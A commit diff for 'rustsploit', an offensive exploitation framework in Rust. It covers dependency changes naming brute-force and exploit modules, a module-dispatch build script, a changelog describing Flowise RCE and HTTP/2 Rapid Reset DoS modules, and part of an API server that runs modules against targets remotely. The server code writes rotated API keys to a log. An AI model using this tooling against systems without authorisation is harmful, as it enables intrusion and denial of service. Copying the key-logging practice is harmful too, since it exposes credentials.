Update changelog.md

Api mode build.rs improvements scanner improvements

Cargo.toml

@@ -6,93 +6,109 @@ build = "build.rs"
 
 [dependencies]
 # For HTTP requests
-reqwest = { version = "0.12.15", features = ["json", "cookies", "socks"] }
+reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
 
 #proxy manager
-rand = "0.9.0"
+rand = "0.9"
 
 # For CLI parsing
-clap = { version = "4.5.35", features = ["derive"] }
+clap = { version = "4.5", features = ["derive"] }
 
 # Async runtime for networking
-tokio = { version = "1.44.2", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
+tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
 
 # Easier error handling
-anyhow = "1.0.97"
+anyhow = "1.0"
 
 #teminal color
-colored = "3.0.0"
-rustyline = "15.0.0"
+colored = "3.0"
+rustyline = "15.0"
 
 #ftp brute force module
-async_ftp = "6.0.0"
-tokio-socks = "0.5.2"
-rustls = "0.23.26"
-webpki-roots = "0.26.8"
-suppaftp   = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
-native-tls = "0.2.14"
-sysinfo = { version = "0.37.2", features = ["multithread"] }
+async_ftp = "6.0"
+tokio-socks = "0.5"
+rustls = "0.23"
+webpki-roots = "0.26"
+suppaftp   = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
+native-tls = "0.2"
+sysinfo = { version = "0.37", features = ["multithread"] }
 
 #telnet
-threadpool = "1.8.1"
-crossbeam-channel = "0.5.15"
-telnet = "0.2.3"
+threadpool = "1.8"
+crossbeam-channel = "0.5"
+telnet = "0.2"
 
-walkdir = "2.5.0"
+walkdir = "2.5"
 
 #ssh
-ssh2 = "0.9.5"
+ssh2 = "0.9"
 
 # rstp brute forcing
-base64 = "0.22.1"
+base64 = "0.22"
 
 # RDP brute forcing module
-rdp = "0.12.8"
+rdp = "0.12"
 
 # ssdp moudle scanner
-regex = "1.11.1"
-ipnet = "2.11.0"
+regex = "1.11"
+ipnet = "2.11"
 
 #camera uniview exploit
-quick-xml = "0.37.4"
+quick-xml = "0.37"
 
 #ABUS TVIP Dropbear
-md5 = "0.7.0"
-ftp = "3.0.1"
+md5 = "0.7"
+ftp = "3.0"
 
 #ssh rce race condition
-libc = "0.2.172"
-futures = "0.3.31"
+libc = "0.2"
+futures = "0.3"
+futures-util = "0.3"
 
 #spotube exploit
-serde_json = "1.0.140"
-futures-util = "0.3.31"
-tokio-tungstenite = "0.26.2"
+serde_json = "1.0"
+tokio-tungstenite = "0.26"
 
 #zte rce
 # Add these to [dependencies]
-aes = "0.8.3"
-cipher = "0.4.4"
-flate2 = "1.0.30"
+aes = "0.8"
+cipher = "0.4"
+flate2 = "1.0"
 
 # for Roundcube exploit payload encoding
-data-encoding = "2.5.0"
+data-encoding = "2.5"
 
 #avanti
-url = "2.5.4"
-semver = "1.0.26"
+url = "2.5"
+semver = "1.0"
 
 #stalk route full traceroute
-pnet_packet = "0.34" # Or the latest compatible version
-socket2 = { version = "0.5", features = ["all"] } # Or the latest compatible version
+pnet_packet = "0.34"
+socket2 = { version = "0.5", features = ["all"] }
+
+# HTTP/2 Rapid Reset DoS
+# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
+h2 = "0.3"
+tokio-rustls = "0.24"
+http = "0.2"
+bytes = "1.0"
 
 #pingsweep
-which = "8.0.0"
+which = "8.0"
+
+# API server
+axum = "0.7"
+tower = "0.5"
+tower-http = { version = "0.6", features = ["cors", "trace"] }
+chrono = { version = "0.4", features = ["serde"] }
+serde = { version = "1.0", features = ["derive"] }
+uuid = { version = "1.10", features = ["v4"] }
+sha2 = "0.10"
+hex = "0.4"
 
 [build-dependencies]
-regex = "1.11.1"         # required for use in build.rs
+regex = "1.11"         # required for use in build.rs
 
 [[bin]]
 name = "rustsploit"
 path = "src/main.rs"
-

build.rs

@@ -1,96 +1,213 @@
+use std::collections::HashSet;
 use std::env;
 use std::fs::{self, File};
 use std::io::{Read, Write};
 use std::path::Path;
 use regex::Regex;
 
+/// Build script that generates module dispatchers for exploits, scanners, and creds.
+/// 
+/// This script:
+/// - Scans `src/modules/{category}/` directories recursively
+/// - Finds all `.rs` files (excluding `mod.rs`) that export `pub async fn run(target: &str)`
+/// - Generates dispatch functions that support both short names and full paths
+/// - Creates deterministic, sorted output for better maintainability
+
 fn main() {
+    // Tell Cargo to rerun this build script if module directories change
     println!("cargo:rerun-if-changed=src/modules/exploits");
     println!("cargo:rerun-if-changed=src/modules/creds");
     println!("cargo:rerun-if-changed=src/modules/scanners");
 
-    generate_dispatch(
-        "src/modules/exploits",
-        "exploit_dispatch.rs",
-        "crate::modules::exploits"
-    );
-    generate_dispatch(
-        "src/modules/creds",
-        "creds_dispatch.rs",
-        "crate::modules::creds"
-    );
-    generate_dispatch(
-        "src/modules/scanners",
-        "scanner_dispatch.rs",
-        "crate::modules::scanners"
-    );
+    // Generate dispatchers for each module category
+    let categories = vec![
+        ("src/modules/exploits", "exploit_dispatch.rs", "crate::modules::exploits", "Exploit"),
+        ("src/modules/creds", "creds_dispatch.rs", "crate::modules::creds", "Cred"),
+        ("src/modules/scanners", "scanner_dispatch.rs", "crate::modules::scanners", "Scanner"),
+    ];
+
+    for (root, out_file, mod_prefix, category_name) in categories {
+        if let Err(e) = generate_dispatch(root, out_file, mod_prefix, category_name) {
+            eprintln!("❌ Error generating {} dispatcher: {}", category_name, e);
+            std::process::exit(1);
+        }
+    }
 }
 
-fn generate_dispatch(root: &str, out_file: &str, mod_prefix: &str) {
-    let out_dir = env::var("OUT_DIR").unwrap();
+/// Generates a dispatch function for a module category.
+/// 
+/// # Arguments
+/// * `root` - Root directory to scan (e.g., "src/modules/exploits")
+/// * `out_file` - Output filename (e.g., "exploit_dispatch.rs")
+/// * `mod_prefix` - Module path prefix (e.g., "crate::modules::exploits")
+/// * `category_name` - Category name for error messages (e.g., "Exploit")
+fn generate_dispatch(
+    root: &str,
+    out_file: &str,
+    mod_prefix: &str,
+    category_name: &str,
+) -> Result<(), Box<dyn std::error::Error>> {
+    let out_dir = env::var("OUT_DIR")
+        .map_err(|_| "OUT_DIR environment variable not set")?;
     let dest_path = Path::new(&out_dir).join(out_file);
-    let mut file = File::create(&dest_path).unwrap();
-
+    
     let root_path = Path::new(root);
-    let mut mappings = Vec::new();
-    visit_dirs(root_path, "".to_string(), &mut mappings).unwrap();
+    if !root_path.exists() {
+        return Err(format!("Module directory '{}' does not exist", root).into());
+    }
+
+    // Collect all module mappings (using HashSet to avoid duplicates)
+    let mut mappings = HashSet::new();
+    visit_dirs(root_path, "".to_string(), &mut mappings)?;
+
+    if mappings.is_empty() {
+        eprintln!("⚠️  Warning: No modules found in {}", root);
+    }
+
+    // Sort mappings for deterministic output
+    let mut sorted_mappings: Vec<_> = mappings.iter().collect();
+    sorted_mappings.sort_by_key(|(key, _)| key);
+
+    // Generate the dispatch function
+    let mut file = File::create(&dest_path)
+        .map_err(|e| format!("Failed to create {}: {}", dest_path.display(), e))?;
+
+    writeln!(
+        file,
+        "// Auto-generated by build.rs - DO NOT EDIT MANUALLY\n"
+    )?;
+
+    writeln!(
+        file,
+        "/// Dispatches to the appropriate {} module based on module name.\n\
+         /// Supports both short names (e.g., 'port_scanner') and full paths (e.g., 'scanners/port_scanner').",
+        category_name.to_lowercase()
+    )?;
 
     writeln!(
         file,
         "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n    match module_name {{"
-    ).unwrap();
+    )?;
 
-    for (key, mod_path) in &mappings {
-        writeln!(
-            file,
-            r#"        "{k}" => {{ {p}::{m}::run(target).await? }},"#,
-            k = key,
-            m = mod_path.replace("/", "::"),
-            p = mod_prefix
-        ).unwrap();
+    // Generate match arms for each module (supporting both short and full names)
+    for (key, mod_path) in &sorted_mappings {
+        let short_key = key.rsplit('/').next().unwrap_or(key);
+        let mod_code_path = mod_path.replace("/", "::");
+
+        // Support both short name and full path
+        if short_key == *key {
+            // No subdirectory, only short name
+            writeln!(
+                file,
+                r#"        "{k}" => {{ {p}::{m}::run(target).await? }},"#,
+                k = key,
+                m = mod_code_path,
+                p = mod_prefix
+            )?;
+        } else {
+            // Has subdirectory, support both short and full
+            writeln!(
+                file,
+                r#"        "{short}" | "{full}" => {{ {p}::{m}::run(target).await? }},"#,
+                short = short_key,
+                full = key,
+                m = mod_code_path,
+                p = mod_prefix
+            )?;
+        }
     }
 
     writeln!(
         file,
-        r#"        _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
-    ).unwrap();
+        r#"        _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
+        category_name
+    )?;
 
-    writeln!(file, "    }}\n    Ok(())\n}}").unwrap();
+    writeln!(file, "    }}\n    Ok(())\n}}")?;
+
+    println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
+    Ok(())
 }
 
-fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
-    let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
+/// Recursively visits directories to find all module files.
+/// 
+/// # Arguments
+/// * `dir` - Directory to scan
+/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
+/// * `mappings` - Set to store (full_path, module_path) tuples
+fn visit_dirs(
+    dir: &Path,
+    prefix: String,
+    mappings: &mut HashSet<(String, String)>,
+) -> Result<(), Box<dyn std::error::Error>> {
+    // Compile regex once for better performance
+    // Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
+    let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
+        .map_err(|e| format!("Failed to compile regex: {}", e))?;
 
-    if dir.is_dir() {
-        for entry in fs::read_dir(dir)? {
-            let entry = entry?;
-            let path = entry.path();
+    if !dir.is_dir() {
+        return Ok(());
+    }
 
-            if path.is_dir() {
-                let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
-                visit_dirs(&path, sub_prefix, mappings)?;
-            } else if path.extension().map_or(false, |e| e == "rs") {
-                let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
-                if file_name == "mod" {
-                    continue;
-                }
+    let mut entries: Vec<_> = fs::read_dir(dir)?
+        .collect::<Result<Vec<_>, _>>()?;
+    
+    // Sort entries for deterministic processing
+    entries.sort_by_key(|e| e.file_name());
 
-                let mod_path = format!("{}/{}", prefix, file_name)
-                    .trim_start_matches('/')
-                    .to_string();
-                let key = mod_path.clone();
+    for entry in entries {
+        let path = entry.path();
+        let file_name = entry.file_name();
 
-                let mut source = String::new();
-                fs::File::open(&path)?.read_to_string(&mut source)?;
+        if path.is_dir() {
+            // Recursively visit subdirectories
+            let sub_prefix = if prefix.is_empty() {
+                file_name.to_string_lossy().to_string()
+            } else {
+                format!("{}/{}", prefix, file_name.to_string_lossy())
+            };
+            visit_dirs(&path, sub_prefix, mappings)?;
+        } else if path.extension().map_or(false, |e| e == "rs") {
+            // Process Rust files
+            let file_stem = path.file_stem()
+                .and_then(|s| s.to_str())
+                .ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
 
-                if sig_re.is_match(&source) {
-                    mappings.push((key.clone(), mod_path));
-                    println!("✅ Registered module: {}/{}", prefix, file_name);
+            // Skip mod.rs files
+            if file_stem == "mod" {
+                continue;
+            }
+
+            // Build module path
+            let mod_path = if prefix.is_empty() {
+                file_stem.to_string()
+            } else {
+                format!("{}/{}", prefix, file_stem)
+            };
+
+            // Full key includes the category prefix (will be added in generate_dispatch)
+            let key = mod_path.clone();
+
+            // Read and check for the run function signature
+            let mut source = String::new();
+            File::open(&path)?.read_to_string(&mut source)?;
+
+            if sig_re.is_match(&source) {
+                mappings.insert((key.clone(), mod_path.clone()));
+                let display_path = if prefix.is_empty() {
+                    file_stem.to_string()
                 } else {
-                    println!("⚠️  Skipping '{}': no matching 'pub async fn run(...)'", path.display());
+                    format!("{}/{}", prefix, file_stem)
+                };
+                println!("  ✅ Registered module: {}", display_path);
+            } else {
+                // Only warn in verbose mode to reduce noise
+                if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
+                    println!("  ⚠️  Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
                 }
             }
         }
     }
+
     Ok(())
 }

changelog.md

@@ -37,4 +37,341 @@ Pingsweep.rs
 improved and reworked
 
 
+Added an API launch mode to RustSploit with the requested features.
+Features implemented
+API launch mode: --api flag to start the API server
+API key authentication: --api-key flag (required when using --api)
+Dynamic API key rotation: manual via /api/rotate-key endpoint and automatic when hardening triggers
+Hardening mode: --harden flag enables IP-based protection
+Auto-rotation: when unique IPs exceed the limit (default: 10), the API key auto-rotates
+Notifications: alerts in terminal and log file (rustsploit_api.log in the same directory)
+Interface selection: --interface flag (defaults to 0.0.0.0), supports IP/interface or full address with port
+API endpoints
+GET /health - Health check (no auth required)
+GET /api/modules - List all available modules
+POST /api/run - Run a module on a target
+GET /api/status - Get API server status
+POST /api/rotate-key - Manually rotate the API key
+
+Usage examples
+# Basic API server on 0.0.0.0:8080./rustsploit --api --api-key my-secret-key# With hardening enabled (auto-rotate on >10 unique IPs)./rustsploit --api --api-key my-secret-key --harden# Custom interface and IP limit./rustsploit --api --api-key my-secret-key --harden --interface 127.0.0.1 --ip-limit 5# Custom port./rustsploit --api --api-key my-secret-key --interface 0.0.0.0:9000
+
+Security features
+API key authentication on all protected endpoints
+IP tracking and monitoring
+Automatic key rotation when suspicious activity is detected
+Logging to both terminal and file for audit trails
+IP limit enforcement with configurable thresholds
+
+All IpTracker fields are used:
+ip: Used in logging, status endpoint, and the new /api/ips endpoint
+first_seen: Used in logging to show when IP was first detected, and in both endpoints
+last_seen: Used in status and /api/ips endpoints
+request_count: Used in logging and both endpoints
+New endpoint added: /api/ips - Returns all tracked IP addresses with full details including all fields
+Enhanced get_status endpoint: Now includes detailed IP tracking information with all fields from each IpTracker
+Enhanced track_ip method: Now logs detailed information using all fields, including duration calculations
+Added serde feature to chrono: Enables DateTime<Utc> serialization
+All routes properly wired: The new /api/ips endpoint is added to the protected routes
+The code should compile without any dead code warnings. All fields are actively used in:
+Logging operations
+API responses
+Status reporting
+IP tracking calculations
+
+
+
+Added authorization rate limiting with the following features:
+Rate limiting logic:
+Tracks failed authentication attempts per IP
+Blocks IPs for 30 seconds after 3 failed attempts
+Automatically resets the counter after the block period expires
+Resets the counter on successful authentication
+New AuthFailureTracker struct:
+ip: IP address being tracked
+failed_attempts: Number of failed attempts
+first_failure: Timestamp of first failure
+blocked_until: Timestamp when block expires (if blocked)
+Enhanced auth middleware:
+Checks rate limit before processing authentication
+Records failures when invalid keys are provided
+Resets counter on successful authentication
+Returns 429 Too Many Requests when blocked
+Logging:
+Logs all rate limit events to terminal and log file
+Shows remaining block time
+Tracks duration since first failure
+New API endpoint:
+GET /api/auth-failures - Returns all IPs with authentication failures and their status
+Enhanced existing endpoints:
+/api/ips now includes auth failure information for each IP
+
+Updated Files
+1. README.md
+
+
+Added API Server Mode to the table of contents
+Added REST API Server to highlights
+Added an API Server Mode section with:
+Starting the API server (cargo commands)
+API flags table
+All endpoints with curl examples
+Security features (rate limiting, hardening, logging)
+Example workflow
+2. docs/readme.md (Developer Guide)
+Added API Server Architecture to the table of contents
+Updated code layout to include api.rs
+Added an API Server Architecture section with:
+Architecture overview
+State management details
+Authentication middleware explanation
+Rate limiting and hardening mode details
+Key components with code examples
+API endpoints list
+Logging information
+CLI usage examples
+Documentation Highlights
+The docs now include:
+Cargo commands for starting the API server
+All available flags (--api, --api-key, --harden, --interface, --ip-limit)
+Complete endpoint documentation with curl examples
+Security features explanation (rate limiting, hardening, logging)
+Architecture details for developers
+Example workflows
+
+
+Improving build.rs with better error handling, short name support, sorting, and other enhancements:
+build.rs
+
+
+Removing the unused import:
+build.rs
+
+
+Improvements
+Error handling
+Replaced .unwrap() with Result types
+Clear error messages with context
+Validates directory existence before processing
+Short name support
+Generates match arms for both short names (e.g., port_scanner) and full paths (e.g., scanners/port_scanner)
+Matches the pattern used in the generated dispatcher files
+
+Deterministic output
+Sorts mappings and directory entries for consistent builds
+Easier to review generated code in version control
+Deduplication
+Uses HashSet to avoid duplicate module registrations
+Documentation
+Added doc comments explaining the script's purpose and behavior
+Regex
+More flexible pattern that handles different parameter names (e.g., target, _target)
+Code organization
+Uses a vector of tuples to iterate over categories, reducing duplication
+More maintainable structure
+
+Verbose mode
+Optional verbose warnings via RUSTSPLOIT_VERBOSE_BUILD environment variable
+Reduces noise during normal builds
+Better path handling
+More robust path operations with proper error handling
+Handles edge cases better
+Output quality
+Adds header comments to generated files
+Includes documentation in generated code
+Better formatted output
+The build script is now more robust, maintainable, and feature-complete. It should handle edge cases better and provide clearer feedback during the build process.
+
+
+ping_sweep.rs improvements
+Progress reporting: real-time progress with percentage, hosts up count, and scan rate
+Parallel TCP probing: ports are probed in parallel for better performance
+Better ICMP detection: detects and uses the correct ping command (ping vs ping6, handles IPv6 with -6 flag)
+Error handling: clearer error messages when ping commands are missing
+Progress cleanup: clears progress line at completion for cleaner output
+
+
+ssdp_msearch.rs improvements
+Multiple search targets: supports upnp:rootdevice, ssdp:all, and custom ST values
+Configurable timeout: user can set timeout (default 3 seconds)
+Retry logic: configurable retries (default 1, max 10) with delays between attempts
+Verbose mode: optional verbose output showing requests and detailed errors
+Enhanced response parsing: extracts additional SSDP headers (ST, NT, Cache-Control, EXT)
+Better error handling: proper error context and messages throughout
+Larger buffer: increased from 2048 to 4096 bytes for larger SSDP responses
+User-Agent header: adds RustSploit user-agent to requests
+Better output formatting: improved response display with additional header information
+Both modules now have:
+Better error handling
+More features and configurability
+Improved performance
+Better user experience with progress indicators and verbose modes
+More robust cross-platform support
+
+
+
+Created Files:
+
+src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs - Main exploit module
+src/modules/exploits/flowise/mod.rs - Module registration file
+Updated src/modules/exploits/mod.rs - Added flowise module
+
+
+Features:
+Banner display - ASCII art banner matching the original Python version
+Interactive prompts - Prompts for email, password, and command (like other modules)
+Authentication - Login functionality with proper headers
+RCE execution - Executes commands via the customMCP endpoint vulnerability
+Error handling - Proper error handling with colored output
+Cookie support - Uses reqwest's cookie store to maintain session
+401 retry logic - Automatically retries with internal header if needed
+Framework Integration:
+The module is automatically detected by the framework's build script (build.rs) because it:
+Exports pub async fn run(target: &str) -> Result<()>
+Is located in src/modules/exploits/flowise/
+Is registered in the mod.rs files
+The module will be available as:
+flowise/cve_2025_59528_flowise_rce (full path)
+cve_2025_59528_flowise_rce (short name)
+
+
+
+ panos module
+Added improvements from the new version:
+Better error handling with Context for more informative error messages
+Enhanced file reading that filters empty lines and comments (lines starting with #)
+Colored output:
+Yellow for testing/info messages
+Green for vulnerable findings
+Red for errors/not vulnerable
+Cyan for headers and vulnerable URLs
+Better feedback messages showing what's being tested
+Summary statistics showing vulnerable count for batch scans
+Proper error propagation with ? operator
+
+
+Flowise RCE Module (CVE-2025-59528)
+
+Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
+Status: Fully implemented
+Has pub async fn run(target: &str) -> Result<()> signature
+Registered in src/modules/exploits/flowise/mod.rs
+Listed in src/modules/exploits/mod.rs
+
+Features:
+
+Banner display
+Interactive prompts (email, password, command)
+Login functionality
+RCE execution via customMCP endpoint
+Error handling with colored output
+Cookie-based session management
+401 retry logic
+
+Framework Integration:
+
+Auto-discovered by build script
+Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
+HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
+Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
+Status: Fully implemented
+Has pub async fn run(target: &str) -> Result<()> signature
+Registered in src/modules/exploits/http2/mod.rs
+Listed in src/modules/exploits/mod.rs
+
+Features:
+
+Banner display with legal disclaimer
+Interactive prompts (port, SSL, streams, delay, baseline)
+Baseline test functionality
+Rapid reset attack implementation
+Vulnerability analysis with risk assessment
+IPv6 support
+SSL/TLS support via tokio-rustls
+Error handling with colored output
+
+Framework Integration:
+
+Auto-discovered by build script
+Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset
+
+Dependencies Added:
+
+h2 = "0.3" - HTTP/2 protocol implementation
+tokio-rustls = "0.24" - Async TLS support
+http = "1.0" - HTTP types
+
+
+Implementation status
+Module structure:
+Exported in src/modules/exploits/http2/mod.rs
+Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
+Core functions:
+banner() — displays module banner
+normalize_host() — handles IPv6 address formatting
+baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
+rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
+run() — main entry point with interactive prompts
+Features:
+SSL/TLS support with proper certificate handling
+Non-SSL support for plain HTTP/2
+Baseline testing before the attack
+Rapid stream creation and reset
+Vulnerability analysis with risk assessment
+Interactive configuration (port, SSL, streams, delay)
+Legal disclaimer and permission check
+Fixes applied:
+Fixed http version conflict (0.2 to match h2)
+Added bytes dependency
+Fixed type inference for handshake calls
+Fixed send_request API usage
+Fixed send_reset return type handling
+Removed unused mut keywords
+Consistent TLS configuration
+Code quality:
+No linter errors
+No warnings
+Proper error handling
+Clean code structure
+The module is ready to use. You can run it via:
+Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
+Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>
+
+
+
+Updated packages
+All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
+Kept compatible versions for:
+h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
+http = "0.2" (required by h2 0.3)
+tokio-rustls = "0.24" (compatible with current setup)
+Updated to latest ranges:
+reqwest = "0.12" (was 0.12.15)
+tokio = "1.44" (was 1.44.2)
+clap = "4.5" (was 4.5.35)
+rustls = "0.23" (was 0.23.26)
+bytes = "1.0" (was 1.0)
+And all other packages
+
+
+
+Improved http_title_scanner to be more robust and flexible:
+Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
+Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
+Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
+Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
+Removed dead code and ensured no unwrap panics on network paths.
+
+
+Added input validation and sanitization to the API:
+New validation helpers:
+sanitize_for_log: strips CR/LF/tab and truncates long values before logging
+validate_api_key_format: length and ASCII checks
+validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
+validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
+Applied protections:
+Middleware now rejects malformed API keys early
+run_module validates module and target before dispatch; logs use sanitized values
+All log messages are passed through sanitize_for_log to avoid log injection
+
 

extra.txt

@@ -61,10 +61,6 @@ Here is the original module that needs to be refactored:
 
 
 
-
-gemini
-
-You are a senior Rust developer specializing in cross-platform, asynchronous hardware drivers. Your assignment is to develop a complete, production-grade Lovense device driver for Linux, written in Rust, using only information from official Lovense documentation and protocol references.
 
 Strict Requirements:
 

src/api.rs

@@ -0,0 +1,724 @@
+use anyhow::{Context, Result};
+use axum::{
+    extract::{ConnectInfo, Request, State},
+    http::{HeaderMap, StatusCode},
+    middleware::Next,
+    response::{IntoResponse, Response},
+    routing::{get, post},
+    Json, Router,
+};
+use std::net::SocketAddr;
+use chrono::{DateTime, Utc};
+use serde::{Deserialize, Serialize};
+use std::{
+    collections::HashMap,
+    path::PathBuf,
+    sync::Arc,
+};
+use tokio::{
+    fs::OpenOptions,
+    io::AsyncWriteExt,
+    sync::RwLock,
+};
+use tower::ServiceBuilder;
+use tower_http::trace::TraceLayer;
+use uuid::Uuid;
+
+use crate::commands;
+
+#[derive(Clone, Debug)]
+pub struct ApiKey {
+    pub key: String,
+    pub created_at: DateTime<Utc>,
+}
+
+#[derive(Clone, Debug, Serialize)]
+pub struct IpTracker {
+    pub ip: String,
+    pub first_seen: DateTime<Utc>,
+    pub last_seen: DateTime<Utc>,
+    pub request_count: u32,
+}
+
+#[derive(Clone, Debug, Serialize)]
+pub struct AuthFailureTracker {
+    pub ip: String,
+    pub failed_attempts: u32,
+    pub first_failure: DateTime<Utc>,
+    pub blocked_until: Option<DateTime<Utc>>,
+}
+
+#[derive(Clone)]
+pub struct ApiState {
+    pub current_key: Arc<RwLock<ApiKey>>,
+    pub ip_tracker: Arc<RwLock<HashMap<String, IpTracker>>>,
+    pub auth_failures: Arc<RwLock<HashMap<String, AuthFailureTracker>>>,
+    pub harden_enabled: bool,
+    pub ip_limit: u32,
+    pub log_file: PathBuf,
+}
+
+#[derive(Serialize, Deserialize)]
+pub struct ApiResponse {
+    pub success: bool,
+    pub message: String,
+    pub data: Option<serde_json::Value>,
+}
+
+#[derive(Serialize, Deserialize)]
+pub struct RunModuleRequest {
+    pub module: String,
+    pub target: String,
+}
+
+#[derive(Serialize, Deserialize)]
+pub struct ListModulesResponse {
+    pub exploits: Vec<String>,
+    pub scanners: Vec<String>,
+    pub creds: Vec<String>,
+}
+
+// ----------------------
+// Validation utilities
+// ----------------------
+fn sanitize_for_log(input: &str) -> String {
+    let mut s = input.replace(['\r', '\n', '\t'], " ");
+    if s.len() > 500 {
+        s.truncate(500);
+        s.push_str("…");
+    }
+    s
+}
+
+fn is_printable_ascii(s: &str) -> bool {
+    s.chars().all(|c| c.is_ascii_graphic() || c == ' ' || c == '/' || c == ':' || c == '.')
+}
+
+fn validate_api_key_format(key: &str) -> bool {
+    !key.is_empty() && key.len() <= 128 && key.chars().all(|c| c.is_ascii_graphic())
+}
+
+fn validate_module_name(module: &str) -> bool {
+    // Allow only expected module path forms, e.g., "exploits/x", "scanners/y", "creds/z"
+    if module.is_empty() || module.len() > 200 { return false; }
+    if !module.chars().all(|c| c.is_ascii_lowercase() || c.is_ascii_digit() || c == '/' || c == '_' || c == '-') {
+        return false;
+    }
+    let parts: Vec<&str> = module.split('/').collect();
+    if parts.len() < 2 { return false; }
+    matches!(parts[0], "exploits" | "scanners" | "creds")
+}
+
+fn validate_target(target: &str) -> bool {
+    if target.is_empty() || target.len() > 2048 { return false; }
+    if !is_printable_ascii(target) { return false; }
+    // Basic sanity: avoid spaces at ends and double CRLF injections
+    let trimmed = target.trim();
+    trimmed == target && !target.contains("\r\n\r\n")
+}
+
+impl ApiState {
+    pub fn new(initial_key: String, harden: bool, ip_limit: u32) -> Self {
+        let log_file = std::env::current_dir()
+            .unwrap_or_else(|_| PathBuf::from("."))
+            .join("rustsploit_api.log");
+
+        Self {
+            current_key: Arc::new(RwLock::new(ApiKey {
+                key: initial_key,
+                created_at: Utc::now(),
+            })),
+            ip_tracker: Arc::new(RwLock::new(HashMap::new())),
+            auth_failures: Arc::new(RwLock::new(HashMap::new())),
+            harden_enabled: harden,
+            ip_limit,
+            log_file,
+        }
+    }
+
+    pub async fn rotate_key(&self) -> Result<String> {
+        let new_key = Uuid::new_v4().to_string();
+        let mut key_guard = self.current_key.write().await;
+        key_guard.key = new_key.clone();
+        key_guard.created_at = Utc::now();
+        drop(key_guard);
+
+        // Clear IP tracker on rotation
+        let mut tracker_guard = self.ip_tracker.write().await;
+        tracker_guard.clear();
+        drop(tracker_guard);
+
+        self.log_message(&format!(
+            "[SECURITY] API key rotated at {}",
+            Utc::now().format("%Y-%m-%d %H:%M:%S UTC")
+        ))
+        .await?;
+
+        Ok(new_key)
+    }
+
+    pub async fn track_ip(&self, ip: &str) -> Result<bool> {
+        if !self.harden_enabled {
+            return Ok(false);
+        }
+
+        let mut tracker_guard = self.ip_tracker.write().await;
+        let now = Utc::now();
+
+        if let Some(tracker) = tracker_guard.get_mut(ip) {
+            // Update existing tracker - use all fields
+            tracker.last_seen = now;
+            tracker.request_count += 1;
+            
+            // Log detailed tracking info using first_seen
+            let duration = now.signed_duration_since(tracker.first_seen);
+            let _ = self.log_message(&format!(
+                "[TRACKING] IP {}: {} requests since {} ({} seconds ago)",
+                tracker.ip,
+                tracker.request_count,
+                tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC"),
+                duration.num_seconds()
+            )).await;
+        } else {
+            // Create new tracker - all fields are set and will be used
+            let new_tracker = IpTracker {
+                ip: ip.to_string(),
+                first_seen: now,
+                last_seen: now,
+                request_count: 1,
+            };
+            
+            // Log new IP using all fields
+            let _ = self.log_message(&format!(
+                "[TRACKING] New IP detected: {} (first seen: {})",
+                new_tracker.ip,
+                new_tracker.first_seen.format("%Y-%m-%d %H:%M:%S UTC")
+            )).await;
+            
+            tracker_guard.insert(ip.to_string(), new_tracker);
+        }
+
+        let unique_ips = tracker_guard.len() as u32;
+        drop(tracker_guard);
+
+        if unique_ips > self.ip_limit {
+            let new_key = self.rotate_key().await?;
+            self.log_message(&format!(
+                "[HARDENING] Auto-rotated API key due to {} unique IPs exceeding limit of {}. New key: {}",
+                unique_ips, self.ip_limit, new_key
+            ))
+            .await?;
+            println!(
+                "⚠️  [HARDENING] API key auto-rotated! {} unique IPs exceeded limit of {}",
+                unique_ips, self.ip_limit
+            );
+            println!("⚠️  New API key: {}", new_key);
+            return Ok(true);
+        }
+
+        Ok(false)
+    }
+
+    pub async fn log_message(&self, message: &str) -> Result<()> {
+        let timestamp = Utc::now().format("%Y-%m-%d %H:%M:%S UTC");
+        let safe = sanitize_for_log(message);
+        let log_entry = format!("[{}] {}\n", timestamp, safe);
+
+        // Log to terminal
+        println!("{}", log_entry.trim());
+
+        // Log to file
+        let mut file = OpenOptions::new()
+            .create(true)
+            .append(true)
